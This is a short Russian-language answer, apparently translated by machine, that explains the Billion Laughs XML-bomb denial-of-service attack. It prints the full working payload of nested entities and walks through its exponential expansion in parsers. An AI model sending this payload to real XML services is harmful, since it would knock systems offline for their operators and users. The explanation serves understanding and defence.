Ответ 1
Атака Billion Laughs - это атака типа "отказ в обслуживании", предназначенная для парсеров XML. Атака Billion Laughs также известна как XML-бомба, или более эзотерически, экспансивная экспансия расширения сущности. Атака Billion Laughs может произойти даже при использовании хорошо сформированного XML и также может проходить проверку XML-схемы.
Атака с использованием Vanilla Billion Laughs проиллюстрирована в XML файле, представленном ниже.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
В этом примере существует 10 разных объектов XML, lol
- lol9
. Первая сущность lol
определяется как строка "lol"
. Однако каждый из других объектов определяется как 10 другого объекта. Раздел содержимого документа этого XML файла содержит ссылку только на один экземпляр объекта lol9
. Однако, когда это анализируется парсером DOM или SAX, когда встречается lol9
, он разлагается на 10 lol8
s, каждый из которых разложен на 10 lol7
s и т.д. И т.д. К тому времени, когда все будет расширен до текста lol
, существует 100 000 000 экземпляров строки "lol"
. Если был еще один объект, или lol
был определен как 10 строк "lol"
, то был бы Billion "lol" s, следовательно, имя атаки. Излишне говорить, что это множество расширений потребляет экспоненциальное количество ресурсов и времени, вызывая DOS.
Более подробное объяснение существует в моем блоге .